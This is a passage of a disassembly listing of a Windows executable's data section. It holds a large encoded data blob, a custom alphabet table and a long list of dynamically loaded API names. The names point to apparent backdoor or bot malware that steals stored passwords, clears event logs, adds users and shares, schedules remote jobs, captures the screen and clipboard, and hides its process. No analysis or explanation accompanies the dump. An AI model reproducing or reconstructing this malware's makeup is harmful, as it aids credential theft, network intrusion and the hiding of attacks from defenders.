		dd 7A584718h, 7408DA17h, 0BC9F9ABCh, 0E94B7D8Ch, 0EC7AEC3Ah
		dd 0DB851DFAh, 63094366h, 0C464C3D2h, 0EF1C1847h, 3215D908h
		dd 0DD433B37h, 24C2BA16h, 12A14D43h, 2A65C451h,	50940002h
		dd 133AE4DDh, 71DFF89Eh, 10314E55h, 81AC77D6h, 5F11199Bh
		dd 43556F1h, 0D7A3C76Bh, 3C11183Bh, 5924A509h, 0F28FE6EDh
		dd 97F1FBFAh, 9EBABF2Ch, 1E153C6Eh, 86E34570h, 0EAE96FB1h
		dd 860E5E0Ah, 5A3E2AB3h, 771FE71Ch, 4E3D06FAh, 2965DCB9h
		dd 99E71D0Fh, 803E89D6h, 5266C825h, 2E4CC978h, 9C10B36Ah
		dd 0C6150EBAh, 94E2EA78h, 0A5FC3C53h, 1E0A2DF4h, 0F2F74EA7h
		dd 361D2B3Dh, 1939260Fh, 19C27960h, 5223A708h, 0F71312B6h
		dd 0EBADFE6Eh, 0EAC31F66h, 0E3BC4595h, 0A67BC883h, 0B17F37D1h
		dd 18CFF28h, 0C332DDEFh, 0BE6C5AA5h, 65582185h,	68AB9802h
		dd 0EECEA50Fh, 0DB2F953Bh, 2AEF7DADh, 5B6E2F84h, 1521B628h
		dd 29076170h, 0ECDD4775h, 619F1510h, 13CCA830h,	0EB61BD96h
		dd 334FE1Eh, 0AA0363CFh, 0B5735C90h, 4C70A239h,	0D59E9E0Bh
		dd 0CBAADE14h, 0EECC86BCh, 60622CA7h, 9CAB5CABh, 0B2F3846Eh
		dd 648B1EAFh, 19BDF0CAh, 0A02369B9h, 655ABB50h,	40685A32h
		dd 3C2AB4B3h, 319EE9D5h, 0C021B8F7h, 9B540B19h,	875FA099h
		dd 95F7997Eh, 623D7DA8h, 0F837889Ah, 97E32D77h,	11ED935Fh
		dd 16681281h, 0E358829h, 0C7E61FD6h, 96DEDFA1h,	7858BA99h
		dd 57F584A5h, 1B227263h, 9B83C3FFh, 1AC24696h, 0CDB30AEBh
		dd 532E3054h, 8FD948E4h, 6DBC3128h, 58EBF2EFh, 34C6FFEAh
		dd 0FE28ED61h, 0EE7C3C73h, 5D4A14D9h, 0E864B7E3h, 42105D14h
		dd 203E13E0h, 45EEE2B6h, 0A3AAABEAh, 0DB6C4F15h, 0FACB4FD0h
		dd 0C742F442h, 0EF6ABBB5h, 654F3B1Dh, 41CD2105h, 0D81E799Eh
		dd 86854DC7h, 0E44B476Ah, 3D816250h, 0CF62A1F2h, 5B8D2646h
		dd 0FC8883A0h, 0C1C7B6A3h, 7F1524C3h, 69CB7492h, 47848A0Bh
		dd 5692B285h, 95BBF00h,	0AD19489Dh, 1462B174h, 23820E00h
		dd 58428D2Ah, 0C55F5EAh, 1DADF43Eh, 233F7061h, 3372F092h
		dd 8D937E41h, 0D65FECF1h, 6C223BDBh, 7CDE3759h,	0CBEE7460h
		dd 4085F2A7h, 0CE77326Eh, 0A6078084h, 19F8509Eh, 0E8EFD855h
		dd 61D99735h, 0A969A7AAh, 0C50C06C2h, 5A04ABFCh, 800BCADCh
		dd 9E447A2Eh, 0C3453484h, 0FDD56705h, 0E1E9EC9h, 0DB73DBD3h
		dd 105588CDh, 675FDA79h, 0E3674340h, 0C5C43465h, 713E38D8h
		dd 3D28F89Eh, 0F16DFF20h, 153E21E7h, 8FB03D4Ah,	0E6E39F2Bh
		dd 0DB83ADF7h, 0E93D5A68h
		dd 948140F7h, 0F64C261Ch, 94692934h, 411520F7h,	7602D4F7h
		dd 0BCF46B2Eh, 0D4A20068h, 0D4082471h, 3320F46Ah, 43B7D4B7h
		dd 500061AFh, 1E39F62Eh, 97244546h, 14214F74h, 0BF8B8840h
		dd 4D95FC1Dh, 96B591AFh, 70F4DDD3h, 66A02F45h, 0BFBC09ECh
		dd 3BD9785h, 7FAC6DD0h,	31CB8504h, 96EB27B3h, 55FD3941h
		dd 0DA2547E6h, 0ABCA0A9Ah, 28507825h, 530429F4h, 0A2C86DAh
		dd 0E9B66DFBh, 68DC1462h, 0D7486900h, 680EC0A4h, 27A18DEEh
		dd 4F3FFEA2h, 0E887AD8Ch, 0B58CE006h, 7AF4D6B6h, 0AACE1E7Ch
		dd 0D3375FECh, 0CE78A399h, 406B2A42h, 20FE9E35h, 0D9F385B9h
		dd 0EE39D7ABh, 3B124E8Bh, 1DC9FAF7h, 4B6D1856h,	26A36631h
		dd 0EAE397B2h, 3A6EFA74h, 0DD5B4332h, 6841E7F7h, 0CA7820FBh
		dd 0FB0AF54Eh, 0D8FEB397h, 454056ACh, 0BA489527h, 55533A3Ah
		dd 20838D87h, 0FE6BA9B7h, 0D096954Bh, 55A867BCh, 0A1159A58h
		dd 0CCA92963h, 99E1DB33h, 0A62A4A56h, 3F3125F9h, 5EF47E1Ch
		dd 9029317Ch, 0FDF8E802h, 4272F70h, 80BB155Ch, 5282CE3h
		dd 95C11548h, 0E4C66D22h, 48C1133Fh, 0C70F86DCh, 7F9C9EEh
		dd 41041F0Fh, 404779A4h, 5D886E17h, 325F51EBh, 0D59BC0D1h
		dd 0F2BCC18Fh, 41113564h, 257B7834h, 602A9C60h,	0DFF8E8A3h
		dd 1F636C1Bh, 0E12B4C2h, 2E1329Eh, 0AF664FD1h, 0CAD18115h
		dd 6B2395E0h, 333E92E1h, 3B240B62h, 0EEBEB922h,	85B2A20Eh
		dd 0E6BA0D99h, 0DE720C8Ch, 2DA2F728h, 0D0127845h, 95B794FDh
		dd 647D0862h, 0E7CCF5F0h, 5449A36Fh, 877D48FAh,	0C39DFD27h
		dd 0F33E8D1Eh, 0A476341h, 992EFF74h, 3A6F6EABh,	0F4F8FD37h
		dd 0A812DC60h, 0A1EBDDF8h, 991BE14Ch, 0DB6E6B0Dh, 0C67B5510h
		dd 6D672C37h, 2765D43Bh, 0DCD0E804h, 0F1290DC7h, 0CC00FFA3h
		dd 0B5390F92h, 690FED0Bh, 667B9FFBh, 0CEDB7D9Ch, 0A091CF0Bh
		dd 0D9155EA3h, 0BB132F88h, 515BAD24h, 7B9479BFh, 763BD6EBh
		dd 37392EB3h, 0CC115979h, 8026E297h, 0F42E312Dh, 6842ADA7h
		dd 0C66A2B3Bh, 12754CCCh, 782EF11Ch, 6A124237h,	0B79251E7h
		dd 6A1BBE6h, 4BFB6350h,	1A6B1018h, 11CAEDFAh, 3D25BDD8h
		dd 0E2E1C3C9h, 44421659h, 0A121386h, 0D90CEC6Eh, 0D5ABEA2Ah
		dd 64AF674Eh, 0DA86A85Fh, 0BEBFE988h, 64E4C3FEh, 9DBC8057h
		dd 0F0F7C086h, 60787BF8h, 6003604Dh, 0D1FD8346h, 0F6381FB0h
		dd 7745AE04h, 0D736FCCCh, 83426B33h, 0F01EAB71h, 0B0804187h
		dd 3C005E5Fh, 77A057BEh, 0BDE8AE24h, 55464299h,	0BF582E61h
		dd 4E58F48Fh, 0F2DDFDA2h, 0F474EF38h, 8789BDC2h, 5366F9C3h
		dd 0C8B38E74h, 0B475F255h, 46FCD9B9h, 7AEB2661h, 8B1DDF84h
		dd 846A0E79h, 915F95E2h, 466E598Eh, 20B45770h, 8CD55591h
		dd 0C902DE4Ch, 0B90BACE1h, 0BB8205D0h, 11A86248h, 7574A99Eh
		dd 0B77F19B6h, 0E0A9DC09h, 662D09A1h, 0C4324633h, 0E85A1F02h
		dd 9F0BE8Ch, 4A99A025h,	1D6EFE10h, 1AB93D1Dh, 0BA5A4DFh
		dd 0A186F20Fh, 2868F169h, 0DCB7DA83h, 573906FEh, 0A1E2CE9Bh
		dd 4FCD7F52h, 50115E01h, 0A70683FAh, 0A002B5C4h, 0DE6D027h
		dd 9AF88C27h, 773F8641h, 0C3604C06h, 61A806B5h,	0F0177A28h
		dd 0C0F586E0h, 6058AAh,	30DC7D62h, 11E69ED7h, 2338EA63h
		dd 53C2DD94h, 0C2C21634h, 0BBCBEE56h, 90BCB6DEh, 0EBFC7DA1h
		dd 0CE591D76h, 6F05E409h, 4B7C0188h, 39720A3Dh,	7C927C24h
		dd 86E3725Fh, 724D9DB9h, 1AC15BB4h, 0D39EB8FCh,	0ED545578h
		dd 8FCA5B5h, 0D83D7CD3h, 4DAD0FC4h, 1E50EF5Eh, 0B161E6F8h
		dd 0A28514D9h, 6C51133Ch, 6FD5C7E7h, 56E14EC4h,	362ABFCEh
		dd 0DDC6C837h, 0D79A3234h, 92638212h, 670EFA8Eh, 406000E0h
		dd 3A39CE37h, 0D3FAF5CFh, 0ABC27737h, 5AC52D1Bh, 5CB0679Eh
		dd 4FA33742h, 0D3822740h, 99BC9BBEh, 0D5118E9Dh, 0BF0F7315h
		dd 0D62D1C7Eh, 0C700C47Bh, 0B78C1B6Bh, 21A19045h, 0B26EB1BEh
		dd 6A366EB4h, 5748AB2Fh, 0BC946E79h, 0C6A376D2h, 6549C2C8h
		dd 530FF8EEh, 468DDE7Dh, 0D5730A1Dh, 4CD04DC6h,	2939BBDBh
		dd 0A9BA4650h, 0AC9526E8h, 0BE5EE304h, 0A1FAD5F0h, 6A2D519Ah
		dd 63EF8CE2h, 9A86EE22h, 0C089C2B8h, 43242EF6h,	0A51E03AAh
		dd 9CF2D0A4h, 83C061BAh, 9BE96A4Dh, 8FE51550h, 0BA645BD6h
		dd 2826A2F9h, 0A73A3AE1h, 4BA99586h, 0EF5562E9h, 0C72FEFD3h
		dd 0F752F7DAh, 3F046F69h, 77FA0A59h, 80E4A915h,	87B08601h
		dd 9B09E6ADh, 3B3EE593h, 0E990FD5Ah, 9E34D797h,	2CF0B7D9h
		dd 22B8B51h, 96D5AC3Ah,	17DA67Dh, 0D1CF3ED6h, 7C7D2D28h
		dd 1F9F25CFh, 0ADF2B89Bh, 5AD6B472h, 5A88F54Ch,	0E029AC71h
		dd 0E019A5E6h, 47B0ACFDh, 0ED93FA9Bh, 0E8D3C48Dh, 283B57CCh
		dd 0F8D56629h, 79132E28h, 785F0191h, 0ED756055h, 0F7960E44h
		dd 0E3D35E8Ch, 15056DD4h, 88F46DBAh, 3A16125h, 564F0BDh
		dd 0C3EB9E15h, 3C9057A2h, 97271AECh, 0A93A072Ah, 1B3F6D9Bh
		dd 1E6321F5h, 0F59C66FBh, 26DCF319h, 7533D928h,	0B155FDF5h
		dd 3563482h, 8ABA3CBBh,	28517711h, 0C20AD9F8h, 0ABCC5167h
		dd 0CCAD925Fh, 4DE81751h, 3830DC8Eh, 379D5862h,	9320F991h
		dd 0EA7A90C2h, 0FB3E7BCEh, 5121CE64h, 774FBE32h, 0A8B6E37Eh
		dd 0C3293D46h, 48DE5369h, 6413E680h, 0A2AE0810h, 0DD6DB224h
		dd 69852DFDh, 9072166h,	0B39A460Ah, 6445C0DDh, 586CDECFh
		dd 1C20C8AEh, 5BBEF7DDh, 1B588D40h, 0CCD2017Fh,	6BB4E3BBh
		dd 0DDA26A7Eh, 3A59FF45h, 3E350A44h, 0BCB4CDD5h, 72EACEA8h
		dd 0FA6484BBh, 8D6612AEh, 0BF3C6F47h, 0D29BE463h, 542F5D9Eh
		dd 0AEC2771Bh, 0F64E6370h, 740E0D8Dh, 0E75B1357h, 0F8721671h
		dd 0AF537D5Dh, 4040CB08h, 4EB4E2CCh, 34D2466Ah,	115AF84h
		dd 0E1B00428h, 95983A1Dh, 6B89FB4h, 0CE6EA048h,	6F3F3B82h
		dd 3520AB82h, 11A1D4Bh,	277227F8h, 611560B1h, 0E7933FDCh
		dd 0BB3A792Bh, 344525BDh, 0A08839E1h, 51CE794Bh, 2F32C9B7h
		dd 0A01FBAC9h, 0E01CC87Eh, 0BCC7D1F6h, 0CF0111C3h, 0A1E8AAC7h
		dd 1A908749h, 0D44FBD9Ah, 0D0DADECBh, 0D50ADA38h, 339C32Ah
		dd 0C6913667h, 8DF9317Ch, 0E0B12B4Fh, 0F79E59B7h, 43F5BB3Ah
		dd 0F2D519FFh, 27D9459Ch, 0BF97222Ch, 15E6FC2Ah, 0F91FC71h
		dd 9B941525h, 0FAE59361h, 0CEB69CEBh, 0C2A86459h, 12BAA8D1h
		dd 0B6C1075Eh, 0E3056A0Ch, 10D25065h, 0CB03A442h, 0E0EC6E0Eh
		dd 1698DB3Bh, 4C98A0BEh, 3278E964h, 9F1F9532h, 0E0D392DFh
		dd 0D3A0342Bh, 8971F21Eh, 1B0A7441h, 4BA3348Ch,	0C5BE7120h
		dd 0C37632D8h, 0DF359F8Dh, 9B992F2Eh, 0E60B6F47h, 0FE3F11Dh
		dd 0E54CDA54h, 1EDAD891h, 0CE6279CFh, 0CD3E7E6Fh, 1618B166h
		dd 0FD2C1D05h, 848FD2C5h, 0F6FB2299h, 0F523F357h, 0A6327623h
		dd 93A83531h, 56CCCD02h, 0ACF08162h, 5A75EBB5h,	6E163697h
		dd 88D273CCh, 0DE966292h, 81B949D0h, 4C50901Bh,	71C65614h
		dd 0E6C6C7BDh, 327A140Ah, 45E1D006h, 0C3F27B9Ah, 0C9AA53FDh
		dd 62A80F00h, 0BB25BFE2h, 35BDD2F6h, 71126905h,	0B2040222h
		dd 0B6CBCF7Ch, 0CD769C2Bh, 53113EC0h, 1640E3D3h, 38ABBD60h
		dd 2547ADF0h, 0BA38209Ch, 0F746CE76h, 77AFA1C5h, 20756060h
		dd 85CBFE4Eh, 8AE88DD8h, 7AAAF9B0h, 4CF9AA7Eh, 1948C25Ch
		dd 2FB8A8Ch, 1C36AE4h, 0D6EBE1F9h, 90D4F869h, 0A65CDEA0h
		dd 3F09252Dh, 0C208E69Fh, 0B74E6132h, 0CE77E25Bh, 578FDFE3h
		dd 3AC372E6h, 0
		dd 0E7h	dup(0)
off_442B60	dd offset dword_442BA8	; DATA XREF: sub_4170BC:loc_4170BEr
					; sub_4170D6+E3r ...
		align 8
dword_442B68	dd 80h,	0Eh dup(0)		dd 80000000h
dword_442BA8	dd 31302F2Eh, 35343332h, 39383736h, 64636261h, 68676665h
					; DATA XREF: .text:off_442B60o
		dd 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h, 42417A79h
		dd 46454443h, 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h
		dd 5A595857h, 0A4A3A2A1h, 0A8A7A6A5h, 0ACABAAA9h, 0B0AFAEADh
		dd 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h
		dd 0C8C7C6C5h, 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h
		dd 0DCDBDAD9h, 0E0DFDEDDh, 0E4E3E2E1h, 0E8E7E6E5h, 0ECEBEAE9h
		dd 0F0EFEEEDh, 0F4F3F2F1h, 0F8F7F6F5h, 0FCFBFAF9h, 0FFFEFDh
a02x02x02x02x02	db '%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x',0
					; DATA XREF: sub_415506+64o
		align 4
aS_3		db '+%s',0              ; DATA XREF: sub_415603+26o
aPathremovefile	db 'PathRemoveFileSpecA',0 ; DATA XREF: sub_417362+F2Do
aShlwapi_dll	db 'shlwapi.dll',0      ; DATA XREF: sub_417362:loc_418284o
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_417362+EFEo
		align 4
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_417362:loc_418255o
aGetprocessmemo	db 'GetProcessMemoryInfo',0 ; DATA XREF: sub_417362+EA2o
		align 4
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_417362+E95o
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_417362+E88o
		align 10h
aGetmodulebasen	db 'GetModuleBaseNameA',0 ; DATA XREF: sub_417362+E7Bo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_417362+E73o
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_417362:loc_4181C8o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_417362+E11o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_417362+E04o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_417362+DF7o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_417362+DEAo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_417362+DDDo
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_417362+DD5o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_417362:loc_41812Ao
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_417362+D93o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_417362+D8Bo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_417362:loc_4180E0o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_417362+D39o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_417362+D2Co
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_417362+D1Fo
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_417362+D17o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_417362:loc_41806Co
aGetnetworkpara	db 'GetNetworkParams',0 ; DATA XREF: sub_417362:loc_418044o
		align 4
aGetudptable	db 'GetUdpTable',0      ; DATA XREF: sub_417362+CA2o
aGettcptable	db 'GetTcpTable',0      ; DATA XREF: sub_417362+C95o
aGetiftable	db 'GetIfTable',0       ; DATA XREF: sub_417362+C88o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_417362+C7Bo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_417362+C73o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_417362:loc_417FC4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_417362+C2Do
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_417362+C25o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_417362:loc_417F7Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_417362+B9Bo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_417362+B8Eo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_417362+B81o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_417362+B74o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_417362+B67o
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_417362+B5Ao
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_417362+B4Do
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_417362+B40o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_417362+B33o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_417362+B26o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_417362+B1Eo
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_417362+AD0o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_417362+AC3o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_417362+ABBo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_417362:loc_417E10o
		align 4
aMozilla5_0	db 'Mozilla/5.0',0      ; DATA XREF: sub_417362+A81o
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_417362+A0Fo
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_417362+A02o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_417362+9F5o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_417362+9E8o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_417362+9DBo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_417362+9CEo
		align 4
aFtpputfilea	db 'FtpPutFileA',0      ; DATA XREF: sub_417362+9C1o
aFtpgetfilea	db 'FtpGetFileA',0      ; DATA XREF: sub_417362+9B4o
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_417362+9A7o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_417362+99Ao
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_417362+98Do
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_417362+985o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_417362:loc_417CD6o
aShutdown	db 'shutdown',0         ; DATA XREF: sub_417362+837o
					; sub_41EC9D+126o
		align 4
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_417362+82Ao
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_417362+81Do
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_417362+810o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_417362+803o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_417362+7F6o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_417362+7E9o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_417362+7DCo
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_417362+7CFo
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_417362+7C2o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_417362+7B5o
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_417362+7ADo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_417362+79Bo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_417362+78Eo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_417362+781o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_417362+774o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_417362+767o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_417362+75Ao
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_417362+74Do
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_417362+740o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_417362+733o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_417362+726o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_417362+719o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_417362+70Co
aSocket		db 'socket',0           ; DATA XREF: sub_417362+6FFo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_417362+6F2o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_417362+6E5o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_417362+6D8o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_417362+6CBo
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_417362+6BEo
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_417362+6B1o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_417362+6A9o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_417362+698o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_417362+625o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_417362+618o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_417362+60Bo
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_417362+5FEo
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_417362+5F1o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_417362+5E4o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_417362+5D7o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_417362+5CAo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_417362+5C2o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_417362:loc_417913o
		align 4
aCloseeventlog	db 'CloseEventLog',0    ; DATA XREF: sub_417362+574o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_417362+567o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_417362:loc_4178C1o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_417362:loc_4178A6o
		align 4
aSetservicestat	db 'SetServiceStatus',0 ; DATA XREF: sub_417362+4B4o
		align 4
aRegisterserv_0	db 'RegisterServiceCtrlHandlerA',0 ; DATA XREF: sub_417362+4A7o
aUnlockserviced	db 'UnlockServiceDatabase',0 ; DATA XREF: sub_417362+49Ao
		align 4
aChangeservicec	db 'ChangeServiceConfig2A',0 ; DATA XREF: sub_417362+48Do
		align 4
aQueryservicelo	db 'QueryServiceLockStatusA',0 ; DATA XREF: sub_417362+480o
aLockservicedat	db 'LockServiceDatabase',0 ; DATA XREF: sub_417362+473o
aImpersonatelog	db 'ImpersonateLoggedOnUser',0 ; DATA XREF: sub_417362+466o
aStartservicect	db 'StartServiceCtrlDispatcherA',0 ; DATA XREF: sub_417362+459o
aCreateservicea	db 'CreateServiceA',0   ; DATA XREF: sub_417362+44Co
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_417362+43Fo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_417362+432o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_417362+425o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_417362+418o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_417362+40Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_417362+3FEo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_417362+3F1o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_417362:loc_41774Bo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_417362+3B1o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_417362+3A4o
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_417362+397o
		align 4
aOpenthreadtoke	db 'OpenThreadToken',0  ; DATA XREF: sub_417362:loc_4176F1o
aRegqueryinfoke	db 'RegQueryInfoKeyA',0 ; DATA XREF: sub_417362+32Fo
		align 10h
aRegenumvaluea	db 'RegEnumValueA',0    ; DATA XREF: sub_417362+322o
		align 10h
aRegenumkeyexa	db 'RegEnumKeyExA',0    ; DATA XREF: sub_417362+315o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_417362+308o
aRegdeletekeya	db 'RegDeleteKeyA',0    ; DATA XREF: sub_417362+2FBo
		align 4
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_417362+2EEo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_417362+2E1o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_417362+2D4o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_417362+2C7o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_417362+2BFo
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_417362:loc_41760Co
		align 10h
aGetclassnamea	db 'GetClassNameA',0    ; DATA XREF: sub_417362+255o
		align 10h
aIswindowvisibl	db 'IsWindowVisible',0  ; DATA XREF: sub_417362+248o
aShowwindow	db 'ShowWindow',0       ; DATA XREF: sub_417362+23Bo
		align 4
aGetwindowthrea	db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_417362+22Eo
		align 4
aGetwindowinfo	db 'GetWindowInfo',0    ; DATA XREF: sub_417362+221o
		align 4
aEnumwindows	db 'EnumWindows',0      ; DATA XREF: sub_417362:loc_41757Bo
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_417362+1B9o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_417362+1ACo
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_417362+19Fo
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_417362+192o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_417362+185o
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_417362+178o
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_417362+16Bo
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_417362+15Eo
		align 10h
aClosewindow	db 'CloseWindow',0      ; DATA XREF: sub_417362+156o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_417362:loc_4174A3o
					; sub_418E0F+2Fo ...
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_417362:loc_41747Fo
		align 10h
aGetcomputernam	db 'GetComputerNameA',0 ; DATA XREF: sub_417362+ADo
		align 4
